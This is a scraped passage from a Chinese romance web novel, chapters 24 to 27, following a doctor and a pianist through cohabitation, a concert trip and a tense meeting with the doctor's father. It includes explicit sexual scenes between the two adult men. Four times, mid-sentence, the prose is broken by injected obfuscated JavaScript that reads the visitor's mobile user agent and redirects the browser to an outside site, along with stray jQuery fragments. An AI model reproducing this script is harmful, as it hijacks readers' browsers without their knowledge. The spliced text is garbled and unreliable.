l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310235|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁来找他,又孤单单地坐在这里等他那么久,心里就很难过。 “走吧,回家。” 他拿过淮希手里的围巾,给淮希戴好,两人并肩走出手术中心。 因为按照原本的计划,今天还是假期期间,家里早就备好了晚餐的食材,所以中途也不用停留。 时间很晚了,裴长谦在保持平稳的情况下提高车速,两人很快到家。 走出电梯的时候,裴长谦用肩膀贴住淮希的,手掌按在他腰上。 这样走路有些不方便,但从电梯到家门口也就几步路,淮希就没在意。 开了门,他们在玄关处换了鞋,裴长谦把自己的羽绒服挂好,又接过淮希的外套和围巾。 淮希往屋里走,刚背过身去,感到裴长谦从身后抱了过来。 男人温热的胸膛紧紧贴住他瘦弱的脊背。 淮希刚感受到温暖,就被握住肩膀转过身去,裴长谦低头吻住了他。 今天的裴长谦给他带来的气息,除了清淡的木质香外,还有些微杀菌剂的气味。 裴长谦用手指拨开他的唇,让他更加张口时,淮希还嗅到了医用肥皂的味道。 以前这些味道,总让他想起医院手术室外冰冷空荡的走廊、沉重寂静的重症监护室,现在慢慢变成裴长谦。 裴长谦亲得很深,淮希逐渐感觉呼吸吃力,脸颊上的温度不断升高,闭上眼睛也觉得很晕。 他踉跄了一下,向后靠在柜门上,裴长谦揽过来扶他,手顺势探入衣摆。 淮希的皮肤细腻,对触碰很敏感,裴长谦手掌上的薄茧让他轻轻颤抖。 裴长谦很重地揉时,淮希控制不住倒吸口气。 他再没有任何反抗或配合的力气,只能微微仰脸任由裴长谦索取。 分开时,两个人的呼吸都很重,混乱地纠缠在一起。 客厅的灯还没开,只有玄关这一小片地方亮着暖灯,连空气温度似乎都比其他地方更潮热。 淮希眼眸雾蒙蒙的,整个人很累地靠在柜上,裴长谦始终托在他腰后。 亲吻还没完全结束,变得红肿的嘴唇还在被人一下下啄吻,裴长谦的胸膛起伏很大。 “我去找你,让你这么开心吗?” 淮希恢复了一些力气,抬手摸了摸裴长谦的胸口,剧烈的心跳好像敲在他的掌心。 他感受到裴长谦的兴奋。 “嗯。” 裴长谦喉结滚了一下,他垂下眼,把手从淮希的衣服里拿出来,整理被他弄乱的衣摆,哑声说:“淮希,我真的好喜欢你。” 24. 二十四 春节假期结束后,裴长谦很快重新回到原先的工作节奏中,每天都忙碌紧凑。淮希也逐渐恢复上课。 两人再次迎来都可以休息的时间,是元宵节。 元宵节碰巧在周日,淮希不用上班,裴长谦也恰好排到休息。 周六这天下午,两人都早早下班。 吃过晚饭后还有不少空闲,他们可以慢下来,将裴长谦在次卧的东西一件件移到主卧。 其实那边的东西本来也不多,只是一些基本的生活用品,比如洗漱用具和几套睡衣和家居服。 因为衣帽间在主卧这边,次卧并没有安置大衣柜,所以裴长谦的大部分衣物原先就没搬过去,能简单满足平时换洗的需要就够了。 他们把两个颜色不同的刷牙杯并排放在一起,两件浴巾挂在同一个架子上,就连备用拖鞋也挨着摆好。 以后没有特殊情况,他们将共用这间浴室。 将自己的贴身衣物和淮希的放进同一个抽屉里时,裴长谦觉得他们像一对刚举办完婚礼的新人,晚上回到家里,在一同整理他们的新房。 他半蹲在抽屉前,低声说了一句:“同居了。” 淮希就站在他旁边,裹在厚袜里的脚趾时不时翘起。 他轻轻抓了抓裴长谦的头发,低笑:“我们一直都在同居啊。” 晚上睡觉,卧室里的灯已经全关掉,淮希侧躺在裴长谦怀里。 裴长谦一只手臂伸在他脖颈下,从后虚虚环住他的肩膀,一只手抬起他的脸,和他接吻。 漆黑温暖的房间里,吮吸的水声被放大,淮希听得羞耻,很想努力避免,但裴长谦显然不知道配合他。 他体力太弱,很快觉得抬脸的动作很累。 裴长谦的肩膀比较宽,他抱久了,也会感到手臂发酸。 热气在两人的呼吸间渡换,被窝里的热度逐渐让淮希感到呼吸不畅。 他浑身无力,在裴长谦背上轻轻抓了两下,低头结束这个吻的同时,忍不住蜷起双腿,想把自己缩起来。 膝盖不慎碰上什么,很硬的触碰令淮希体力恢复了一瞬,他立刻往后撤远,但裴长谦阻止了这个动作。 一只手掌在被子里握住了他的大腿,潮热的掌心和强势的力道令淮希浑身轻抖了一下。 即使隔着睡裤的布料,淮希还是很敏感。 裴长谦垂着浓雾一样的眼睛,把淮希的膝盖放回原来的位置。 他轻轻亲吻淮希又红又烫的脸:“不用躲,再蹭一蹭可以吗?” …… 第二天上午,吃过早饭后,两人下楼散了会儿步,顺带买中午饭的食材。 回到家时还远远不到午饭的时间,两人坐在客厅沙发上做各自的事。 裴长谦在看书。 男人膝盖上放着一本和词典差不多厚的专业书,他这些天一直在看,已经快看完了。 淮希亲眼看着裴长谦把这本书啃到尾声,还是很难理解裴长谦是怎么做到的。 如果是他,他将永远看不完这本书,而这本书一定可以屡试不爽地改善他的睡眠。 淮希选择看自己的琴谱。 不过现在,他看琴谱也十分心不在焉,或者说,心思完全无法放在琴谱上。 昨晚睡前发生的事……对淮希造成的影响似乎有些大。 裴长谦问他可不可以的时候,淮希选择了配合,但他实际上根本不会配合。 他无法灵敏地操控自己的膝盖,隔着几层衣料,很难找准某个位置,用好恰当的力道。 膝盖被烫到的感受也让他心面红耳赤,头脑发昏,只想糊弄了事。 大部分时候,他似乎都让裴长谦很痛苦,偶尔才能使对方感受到舒服。 不过……淮希盘腿坐在沙发上,手指无意识揪着膝盖处的布料褶皱。 裴长谦当时的呼吸声很性感,他有点喜欢听。 淮希觉得自己并没有真正帮上忙。 最后,他已经抬了很久的腿,真的很累,感觉大腿要抽筋了,裴长谦是自己去浴室处理的。 淮希把琴谱抱在怀里,抬眼去看坐在另一边沙发上的裴长谦。 对方穿深色衣服一向很显成熟稳重,专注看书的神情也让人觉得严肃。 “那个……”淮希用手指轻轻挠了挠脸颊,小声问裴长谦,“会舒服吗?” 裴长谦从书里移开视线,问他:“什么?” 其实在看到淮希透红的耳尖时,裴长谦就很快反应过来淮希问的什么。 但他神情不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310236|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变,沉默地等淮希说完。 “就是,”淮希抿了一下唇,声音更弱,“我昨晚碰你……你真的感觉舒服吗?” “试试就知道了。”裴长谦合上手里的书放到茶几上,说道。 “什么?”这次轮到淮希问了,他防备地看向裴长谦。 除了防备外,那双水亮的眼睛里还有害羞,好奇,以及懵懂。 裴长谦喉结无声地动了动。 他很快起身去洗了个手,回来后一边用纸巾擦手,一边说道:“我给你试试。” 淮希坐在沙发的角落里,裴长谦紧挨着他坐下。 “……怎么试?就在这里吗?”淮希微微睁大眼睛,看了一眼明亮透明的落地窗。 “嗯。” 裴长谦按了一下遥控,窗帘开始缓慢合上。 他又轻轻拿走淮希手里的琴谱,仔细记住页数,然后收好放回桌面。 裴长谦让淮希将腿分开,一条伸在他腰后,另一条搭在他的腿上。 这样,裴长谦的手就可以轻易碰到淮希的裤边。 淮希的呼吸立刻变乱,手胡乱在裴长谦衣袖上抓了一下。 他在这方面的需求一直很低,几乎是没有,自己给自己处理的情况都很少。 他好奇地低头看了一眼,看到了裴长谦很好看的手指,被那副画面冲击得在裴长谦掌心颤了一下。 裴长谦无声笑了笑,就用空着的那只手揉揉他的脑袋,把他按在自己肩膀上。 淮希脊背弓起,滚烫的脸埋在裴长谦颈间,紧紧闭上眼睛。 结束的时候,淮希有点不高兴,眉头轻轻皱着。 “你好烦。”他低着头,哑声抱怨说。 裴长谦今天穿的衣服是深色的,弄上去很明显。 沙发上也有,裴长谦给淮希穿好裤子时,淮希配合地动了一下腿根,结果碰到湿黏的地方。 “好脏。”淮希绷着脸,偏头盯着沙发靠背看。 他脸颊上还泛着潮红,瘦弱的脖颈和衣领处露出的胸口也是红的。 裴长谦用纸巾擦过手,又抽几张随意擦了擦衣服,笑着说:“不脏。” 他把软手软脚的淮希抱起来,手掌稳稳托在淮希身下:“我抱你去洗洗就好了。” 25. 二十五 淮希只是随便冲洗一下,裴长谦还是给他拿了一整套的干净睡衣。 淮希换好睡衣从浴室出来,裴长谦就站在门旁。 他已经处理好沙发,也换了另一件家居服,听到淮希出来,就转身过去,走到淮希跟前。 热水蒸腾,淮希面色水润泛红,裴长谦摸了摸他被沾湿的发尾,抚去上面挂的小水珠。 他垂着眼,很仔细地观察淮希的神情。 “干嘛。”两人离得很近,淮希稍一卸力就贴在了裴长谦身上,他干脆靠过去,懒得再自己站好。 裴长谦揽住他的腰:“想问问你刚才舒服吗。” 沉默了片刻,裴长谦看着淮希的耳根又慢慢浮现粉红色。 “舒服。”半晌,淮希才很小声地回答。 “那就好。” 裴长谦用手掌在他背后顺一顺:“我的动手能力一直比较强。” “……” 淮希从他怀里抬起脸,眼睛圆圆的。 “裴医生,”他揪了一下裴长谦的衣服,“你是在耍流氓吗?” 裴长谦眼里多了笑意,他紧紧抱住淮希,低头和他接吻。 …… 天气渐暖,淮希接了一个举行地点在隔壁市的大型演出。 一个国内著名的乐团邀请他合作。 大型演出的合奏比较麻烦,准备工作很多,又因为不在本市,所以淮希需要出几天差。 周五晚上到酒店,不影响周六一大早的彩排。正式演出在周日,淮希最早也是周日晚上才能回到家。 他提前和工作室的其他老师请好假。 老师和学生都很理解,周五下午还让淮希提前上了一会儿课,这样可以早点下班回家,整理的时间会宽裕点。 淮希提前一个小时回到家,裴长谦还没回来。 他在家里慢慢转了一圈,实在没有什么好整理的。裴长谦昨晚就已经帮他把行李收拾好了。 还是和之前一样,裴长谦有自己的工作要忙,没办法全程陪淮希。 两人已经商量好,去的时候,裴长谦把淮希送到高铁站,回来那天是周日,裴长谦有半天空闲,开车去接淮希。 淮希有些无聊,待在沙发上看了一会儿琴谱,收到裴长谦发来的微信。 裴长谦说他已经下班,准备开车出医院了。 淮希打算带行李箱去小区停车场等他。 到时候他们就可以直接走,省时间,也省得裴长谦来回上下楼。 裴长谦却说不差那几步路。 他手伸不到的地方,是真的没有办法,但还可以管得到淮希的情况下,裴长谦会舍不得让淮希提行李箱。 裴长谦回到家后,一手提行李,一手牵住淮希,两人一起下楼。 路上很顺利,淮希在安排的酒店里安置好时,天早就黑了。 他准备睡觉时,裴长谦给他打视频,等他睡着后才挂掉。 …… 第二天晚上,他们还是打视频电话。 淮希工作了一天,气色倒是还好,但神情有些失落。 “好累,”他侧躺在酒店的大床上,一只手拿着手机,垂下眼睛跟裴长谦说,“要和好多人说话。” 淮希抬眼,看到裴长谦的背景是舒适又熟悉的主卧大床,有点委屈:“不想和那么多人说话,只想和你说话。” 裴长谦眸色闪动了几下。 他缓缓舒出一口气,把手机拿得更近一些:“淮希。你知道我很想你。” 淮希眨了一下眼睛。 他知道。他才出门一天,裴长谦就给他发了好多消息。 早上起床出门去上班了,要跟他报备一声,提醒他记得给手机充电,提醒他清早出门注意防寒。 中午在医院食堂吃了什么饭,也会在动筷前拍给他,目的是想顺口问出淮希吃的饭是什么样,想知道淮希吃得好不好。 下班路上碰到了一只流浪狗,路过超市顺带买了什么水果……裴长谦都要一一拍过来,哪怕淮希不会每一条都回复。 裴长谦没有说,但是从接通视频电话开始,他漆黑的眼里就只有淮希。 他们很安静地看着彼此。 沉默了快有一分钟,淮希抿了抿唇,轻声:“明天时间比较紧,我今天要早睡。” 他又慢吞吞地说:“明天下午我们就可以见面了。” “嗯,”裴长谦放低了声音说,“睡吧。” 淮希给房间留了一盏很小的灯,找个合适的地方把手机支好,之后就盖好被子闭上了眼。 手机屏幕始终亮着,里面传来裴长谦舒缓的呼吸声,淮希很快入睡。 裴长谦可以轻松判断出淮希是浅眠状态,还是熟睡状态。 淮希已经睡着很久,他一直没有挂断视频。 因为灯光变弱,镜头也显得朦胧,衬得淮希的面庞轮廓更加柔和。 他侧着脸睡觉,白净脸颊压在枕头上,显得很柔软,一双淡色的唇似乎被平时稍润红一点。 裴长谦一只手很紧地攥住手机,另一只手往被子里伸去。 他不想吵醒淮希,所以呼吸声始终很克制,只在最后,用鼻梁蹭了蹭手机屏幕。 呼出的气息很热,形成一片薄雾蒙在淮希脸庞。 裴长谦又等了片刻,平稳气息的同时,确定淮希不会再醒来,才不舍地关掉视频。 他起床先洗了手。 床单有点脏了,他刚才也出了汗,所以需要换掉。 换完之后又洗了澡和衣服。 裴长谦今天的工作并不轻松,反而很累。 但直到重新躺回床上,他才觉得过剩的精力被消耗过去。 …… 第二天下午,裴长谦结束工作时已经将近两点,他匆匆解决午饭,之后开车去隔壁市接淮希。 这次淮希演出的时间偏早,裴长谦路上很顺利,但到的时候还是已经结束了。 裴长谦停好车,往音乐厅的方向走时,在大门旁的一条小路上看到了淮希的身影。 他已经卸了妆,穿回自己的外套,背上那个学生气很重的白色背包,但还是有不少人认出他是刚才的钢琴演奏者,给他送花,与他寒暄。 淮希说他不爱和陌生的人说话,因为很耗费精力,但他其实应对的很好。 目光认真,礼貌而得体。 看到裴长谦时,淮希收回视线,挨个与周围的人道别,之后抱着花走向裴长谦。 音乐厅前的广场太大,他们看见了彼此,但走起来却要很多步。 淮希似乎有点想小跑两下,裴长谦看出来了,忙迈大步伐,先一步来到淮希面前。 裴长谦怀里也拿了一束花,还没有来得及送,淮希把自己怀里的花束也塞给裴长谦。 “手好疼,”他和花一起挤在裴长谦身前,低头把手伸给裴长谦看,“刮奏的时候弄伤了。” 裴长谦眉头一皱,很快轻握住淮希的手心,细细查看。 身边有一个弹琴的人,裴长谦也会经常了解和弹琴相关的事情,他已经知道弹奏者在刮奏时很容易刮伤手指。 为此,淮希在练习的时候一般都不练刮奏,只在正式演出的时候用,不然就太废手了。 中间几只手指的指腹一侧的皮肉被琴键蹭到,有的只是掉一层皮,严重一点的像是被削去一小片,虽然已经不怎么流血,但仍能看到鲜红的血丝。 “先回车上吧,车上有医药箱。”裴长谦眉眼压着,低声说。 为了防止意外情况,裴长谦的车上一直备有小型医药箱,这是他作为医生的习惯。 身边有了淮希后,他的医药箱里的物品就变得更齐全。 花束都被放在了后排,淮希坐在副驾驶,裴长谦拿着他的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310237|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仔细给伤口上药,贴上创可贴。 包扎好后,他松开淮希的手,收拾好医药箱放回原位。 坐回来时,裴长谦抬眼看向淮希,神情还是很严肃,眸色黑沉。 淮希用完好的那只手摸了摸他的脸,指腹痒痒的,低声说:“有胡茬。” “嗯,”裴长谦微微偏一下脸,想躲,“来的急,忘刮了。” 淮希在他下巴上亲了一下,很轻地笑:“有点扎嘴,裴医生。” 他说完,就被裴长谦低头吻住了唇。 还在外面,裴长谦没有亲太久,始终用自己的身形挡住淮希。 离开时他的手在淮希腰上很重地揉了一下,让淮希身体轻颤,控制不住低哼出声。 淮希的唇又变得很红,裴长谦垂眼紧紧盯着,两人都在调整呼吸。 “行李在酒店前台,拿完就可以直接回去了。”淮希清了一下嗓子,低声说完,去牵安全带。 裴长谦帮他牵过去系好:“你的手不方便,不要乱动。” …… 晚上回到家,淮希吃到了裴长谦做的很丰盛的晚饭。 演出结束后,群里还在不断发很多消息,聊一些收尾工作。 除此之外,淮希的列表里还有很多新加的联系人,大部分都是希望今后能和他达成一些合作。 淮希坐在沙发上挨个看消息。 他伤的是右手,打字不太方便,就语音输入,再用左手修改错别字。 知道他在语音输入后,裴长谦就不再说话,收拾厨房的声音也尽量放轻。 厨房整洁如初后,裴长谦又去玄关处擦干净淮希的行李箱,然后拿进来整理。 淮希看到了,穿上鞋走过去,要自己整理,但裴长谦说他的手不能乱碰,让他去忙工作。 洗澡时,淮希的手指不能沾水,需要裴长谦的帮忙。 其实以前,淮希也有这样的情况,他都是缠着创可贴直接洗了。 湿透的话,洗完澡及时换新的就可以。 有时也会被洗发水或沐浴露刺激到伤口,是刺痛的,但疼一阵很快就好了。 裴长谦很细致地帮他洗完了脸和头发,用了不少时间。 到身体时,只有打泡沫这个步骤很麻烦。 淮希冲湿身体后,裴长谦帮他将沐浴露打出泡沫,让他自己用左手涂好。 淮希说好了之后,裴长谦再转过身来,拿走浴球冲洗干净,顺带帮他打开水。 因为会被溅到水,裴长谦没有穿上衣,只穿了黑色的休闲裤。 淮希低头冲身上的泡沫时,注意到裴长谦的裤子也被溅湿了,湿透的布料贴在那里,鼓起的轮廓很明显。 淮希洗完澡,换了一次药,浑身清爽躺进被窝,裴长谦才去洗。 他很快洗完,把头发擦到不滴水就穿着睡衣出来了。 淮希正凑在床头柜旁边,无聊地翻裴长谦放在上面的专业书。 他看不明白,也不想学,翻到有配图的地方才会停下来看几眼。 看到裴长谦出来,淮希就把书合上,一只手撑在床上仰脸看裴长谦。 裴长谦在床边坐下,拿过他受伤的手指看了看,又在上面轻轻亲一亲。 “现在疼不疼?”他问完,又说,“我今晚抓住你的手腕睡,防止你乱动。” 淮希摇了一下头,说知道了。 裴长谦放下手去吻他的唇。 这个吻结束时,淮希的脊背不知不觉已经抵上床头,裴长谦的手臂撑在他身体两侧,凑得很近,近到鼻梁蹭进淮希发间。 淮希脸颊很烫,闭着眼喘气,呼吸间全是裴长谦的气息。 他睁开眼睛时,眼睫颤动,看向裴长谦腰腹处。 淮希用左手在裴长谦青筋明显的手臂上点了几下,等裴长谦拉开距离看向他时,就轻声说:“我这只手是好的。” 26. 二十六 房里灯光很暗,裴长谦撑在淮希身上,亲吻他的鼻尖和脸颊。 淮希练琴的手力量不弱,但他今天刚刚演出过,还是有些累的。 只靠左手,没有另一只手来辅助,也不够方便。 掌心越来越烫,似乎距离结束还有好远。 淮希选择罢工,骨节分明的手指无力垂回床面,他眼尾热红,抬眼看裴长谦:“好累,没力气了。” 距离太近,淮希只能看到裴长谦黑不见底的眼眸,氤氲雾气。 男人拿过他的手重新放过去:“手指张开。”裴长谦的手掌覆在淮希手上,带着他动作。 淮希的手心一片湿烫时,裴长谦脸埋在他颈间,很重地喘了一口气。 淮希听得心脏发紧,心跳快得不行,他情不自禁偏头轻蹭裴长谦。 裴长谦微微弓着背,一直在轻轻亲他的脖子,很热很缠绵,淮希的脖颈立刻就红了。 呼吸平息一些后,裴长谦起身拿过床头柜上的湿纸巾。 他膝盖抵在床上,先给淮希擦干净手。 淮希默默帮他整理好裤子。裴长谦的上衣刚才脱掉了,紧实的腹肌上覆了一层细密的汗液。 “要洗澡吧?”淮希慢慢坐起来,说。 “一会儿再洗。”裴长谦擦完,把湿纸巾随手扔地上,又抱着淮希倒了回去。 这时的裴长谦似乎变得很性感,具体哪里性感,淮希说不上来。 他也能感受到裴长谦吻他吻得很投入,又失控,又温柔。 淮希的嘴唇被亲得很红,慢慢变成裴长谦稍稍一压就会很酥麻。 裴长谦的吻在往下移,每经过一寸地方,淮希都会不受控制地颤栗。 腿根处感受到男人偏硬的发丝。被人用唇触碰时,淮希反应很剧烈地从喉间溢出声音。 裴长谦受到鼓励,握在他腰侧的手用力收紧。 淮希太敏感了,这种刺激让他神志不清,受伤的手一直在裴长谦手臂上乱抓。 裴长谦埋着脸,抬手阻止了几次,但淮希还是乱动。 裴长谦只好中途停止一下,直起身。 淮希已经感受到乐趣,腿迷茫地勾在裴长谦腰上。 “这只手怎么不听话?”裴长谦严肃着脸,抓住淮希的手腕说。 淮希的脚无意识在他背上蹭了蹭,满是热津津的汗。 “你可以帮我绑起来,”他眼神很干净地说,“用你的领带,或者什么别的东西。” 裴长谦眉头皱了一下,俯下身来摸一摸他的脸。 “谁教你这样,从哪里学的?” “彩排的时候,现场很复杂,有时候要等很久,”淮希的眼睫雾蒙蒙的,缓声说,“我的同事给我推荐了几部小说,这样的情节很常见。” 裴长谦眸色很深,抓住淮希那只手按在床上。 “我们不学,”这种时候,他还能帮淮希检查创可贴有没有被蹭开,“那样可能会充血,影响伤口恢复。” “哦。”淮希不是医生,他没有想到这一点。 结束后,他们一起去浴室冲澡。 这次两人都没有顾虑那么多,裴长谦让淮希扶好墙面,用淋浴喷头帮他简单冲洗了一遍。 …… 淮希手彻底愈合后的一次周末,两人开车去离家较远的地方看一场话剧。 看完后是晚上八点钟左右,他们去附近找一家小饭馆吃饭。 淮希在吃饭期间喝了一点酒,这还是他来临阳市以来第一次碰酒。 之前他体质太弱,裴长谦在这方面控制得很严格,从不往家里买酒,出门也不会点。 现在淮希身体健康了不少,又一时心情好有兴致,裴长谦才勉强放宽要求。 而且裴长谦自己也不是喜欢酒的人,他的职业有可能随时叫他过去上班,他需要时刻保持理智。 所以除了无法推脱的应酬外,裴长谦平时极少沾酒。 这次的酒度数很低。 裴长谦应酬时喝白酒居多,这样低度数的酒对他而言和饮料差不多,所以他直接叫了另一款特色的饮料,不影响一会儿还要开车。 淮希只喝了两小杯,却有点晕了,裴长谦这才清楚淮希的酒量有多差。 现在已经是春天,气温一天比一天暖。 淮希喝了酒,脸颊耳朵红红的,还觉得很热。 他里面只穿了一件单层卫衣,走出饭店时,很不想穿外套。 “外面冷的。”裴长谦还是温声哄着他,帮他把外套穿好,拉上拉链。 淮希走路不太稳,所以一只手绕过去攥住裴长谦的手腕。 两人挨得很近,走在夜风微凉的路边,低声聊着天。他们的车停在不远处。 裴长谦的话忽然停顿一下时,淮希抬起眼,看到几米远的位置,一个人神情很诧异地看向他们这边。 对方看上去五六十岁,鬓角有些白,因为穿着讲究,又被显得年轻了些。 走近时,淮希很快发现这个人和裴长谦有一些相像,他们的眼睛都很深,眉骨高。 但和裴长谦不同的是,对方的神情与气质称得上严厉,眉间有几道很深的皱纹,像是长期频繁皱眉导致的。 “你在这儿做什么,上班不忙了?” 裴父来到两人面前,视线先是打量了裴长谦几秒,移到淮希身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310238|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上时,停留的时间更长了一点。 裴长谦不露声色往前了半步:“吃饭,这就准备回去了。” 他想要带淮希离开,裴父却目光很犀利地挥手:“等等,这是谁,朋友?不跟你爸介绍介绍?” 淮希已经猜到了对方是谁,听到这句话时,很轻地松开了裴长谦的手腕。 但那只手又被迅速攥住,稳稳裹在掌心。 裴长谦只向淮希的方向偏了一点头,视线仍与裴父对视。 但他的动作好像很害怕会握不住淮希一样。 “我的男朋友,”裴长谦没什么神情,语气平稳道,“目前在同居。” 裴父显然被震了一下,他眉头紧锁,张了张口,然后从口袋里摸出烟和打火机。 他抽出一支烟的动作很快,打火时裴长谦不悦地说:“你自己抽吧,我们先走了。” “给我站住。”裴父呵了一声,又很烦躁地把烟和打火机塞回衣服里。 “你,你们。”他低头叉腰,指了一下裴长谦,想指淮希,但被裴长谦严严挡住。 “你们这是在一块儿过日子?像男人和女人那样?”裴父十分不理解地问。 “可以那么说。”裴长谦说。 “你什么时候变成同性恋的?我可不是,不可能是遗传,”裴父已经不知道该从何问起,有些语无伦次,“你们两个都是同性恋?” 裴长谦似乎已经不想再回答对方的问题,他沉默着。 裴父从裴长谦的眼里看到冷漠与坚定,他又沉默了很久,期间在原地走了好几步。 之后他冷静了一些,重新站定在裴长谦与淮希面前。 “不行,”裴父抽出一支烟夹在指间,没有点燃,他挥一挥烟说,“你们俩得分开。” 裴长谦的眉眼顿时压下。 “两个男的怎么过日子?自古以来男人和女人那才叫天经地义!”裴父目光严厉,沉声道,“你们两个大男人能把日子过好吗!” “您作为一个经历了三次失败婚姻的人,好像没有资格说我们吧。” 裴长谦淡声说。 “我这次还没离。”裴父噎了一下。 “快了。” “你气死你老子也没用,”裴父脸色铁青说,“日子不好过的时候有你后悔的!” 裴长谦感受到淮希从他身后往外站了一点,以为淮希等不及了,想要离开。 他去揽淮希的腰,淮希很顺从地往他怀里靠了一下。 裴父看到这个画面,脸色变得更黑。 “伯父,”淮希脑袋还有些晕,但能保持住平静与礼貌,“我和裴长谦一次都不会失败的。” 27.正文完结 外面夜风变凉,坐进车里时,淮希脑袋清醒了一些。 他回想自己对裴长谦父亲说的唯一一句话,觉得自己当时说得太肯定了。 心里感到一丝懊悔,淮希侧过脸看向窗外,有些沉默。 裴长谦在路过一家便利店时停下车,说想去买瓶水,他们一起下去。 时间有些晚,这个便利店的位置也比较偏,里面没什么人。 随手拿了两瓶常温水后,裴长谦又走到某排货架前,仔细挑选了两盒其他东西。 淮希没有什么想买的,神情放空跟在他身边。垂眼分辨出裴长谦在买什么时,淮希眼眸晃动了一下。 “我们明天都休息,”裴长谦把东西拿在手里,低声问淮希,“可以吗。” 原本要来找淮希上课的那个小朋友报名了演出,明天下午会由工作室其他老师组织去,所以淮希可以休息一天。 裴长谦也恰好轮到明天休息,不过早上还是需要去开个早会,查一下房。 没有沉默很久,淮希轻轻别过视线,点一下头。 回到车上后,裴长谦喝了一口水,之后把袋子放到后座,发动车辆。 淮希坐在副驾驶,安静片刻后,拿出手机慢慢地说:“我搜一下……注意事项。” 裴长谦偏头看了他一眼,又收回视线,认真看路。 “不用,我搜过了。”他温声说,“在车里看手机对眼睛不好。” 淮希抬眼看他,只好收起手机:“你下次应该带我一起看。” 淮希知道这种事要怎么做,但具体细节是怎么样,他不清楚。 他觉得这是两个人的事,他也需要仔细了解一下。 “好,抱歉。”刚好红灯,裴长谦碰了碰淮希的手。 他眼里有很淡的笑意,语气很诚恳:“我……很早就看了,那时没考虑这点,是怕冒犯到你。” 很早是什么时候?淮希心里好奇了一下。 红灯就要变绿了,他提醒裴长谦:“好了,开车吧。” 回到家后,裴长谦以淮希喝过酒,独自洗澡可能会出什么意外为由,提出帮淮希洗澡。 为了节省时间,裴长谦同时也洗,他们的顺序混在一起。 比如裴长谦给淮希洗完头后,趁淮希自己洗脸的时间,匆匆洗了头发……最后两人勉强同步洗完。 将淮希的身体擦干,头发擦到不滴水后,裴长谦随意披了一件睡袍,从柜子里拿出吹风机。 “衣服。”淮希一只手扶在洗手台上,从镜子里看了自己一眼,又面向裴长谦的方向,眼睛垂着。 裴长谦走到他旁边,衣摆碰到淮希,身躯的热度很快传递上来。 “现在先不穿了吧?”他打开吹风机说,“一会儿睡前再给你穿。” 淮希浑身的肌肤泛粉,脸颊也是,是洗热水澡导致的。 他犹豫了一下,牵过裴长谦很宽大的睡袍,挡在自己身前,然后看向镜子说:“好吧。” 裴长谦很低的笑声淹没在吹风机的声响里。 吹得差不多后,裴长谦用手指穿入发间试了试,确定干透了,就把淮希抱回床上。 他的头发比淮希的短,这几分钟过去就差不多干了,于是没有吹,直接去外面拿今天买的东西。 …… 卧室里这次没关灯,淮希仰躺在床上,一只手肘撑起来,去看裴长谦。 他觉得很热,脸颊上的热度一直在变严重,慢慢扩展到脖颈,他无法控制。 淮希呼吸绷紧时,腹部显得更薄。 裴长谦的手指很长。 淮希看了一会儿,被古怪的异样感打败,手臂卸力慢慢躺回去。 “放松一点,”裴长谦气息不太稳,温声哄他,“这么紧…张,一会儿怎么办?” 淮希听了,要把腿从他肩膀上挪下来,闷声:“那我不做了。” “我说错话了。”裴长谦忙轻握住他的脚踝,把腿放回原来的位置。 他偏头亲了亲淮希,鼻梁压在很软的地方碾动,淮希的腿抽搐般抖动一下。 裴长谦完全挡住灯光,紧紧地抱过来时,淮希很快用胳膊缠紧他的后背,把脸埋在他的肩膀上,像抓住等待很久的浮木。 他眉头轻轻皱着,好像在忍受什么不适,喉间发出的声音很近地传入裴长谦耳朵。 裴长谦以此来判断淮希的感受。 淮希太敏感了,这方面也是。 没开始多久,他就感到受不了,腰像不听使唤了一样不断地抖。淮希不得不抬起脸,眼尾湿红地喊裴长谦。 裴长谦的呼吸也很重,立刻和他接吻,淮希皱着脸,偏头躲过。 好几下,他才能重新调整好呼吸,说出话来:“裴长谦,哥,太重了……” 说完时,淮希忽然倒吸一口气。 他显然用错了称呼,因为很快感到更撑。 两次结束后,淮希的身体变得又热又软,被裴长谦很紧地抱在怀里。 他们身上都布满热汗,谁也不嫌弃谁。 裴长谦手掌抚着淮希瘦弱的背,低着头,一直在他脸颊上轻轻地亲,听他的呼吸渐渐平复。 被抱去冲澡时,淮希已经累得睁不开眼睛了。 裴长谦手臂托着淮希,让淮希把脑袋靠在他肩膀上。他感受到了低弱的、呼在自己颈间的热气。 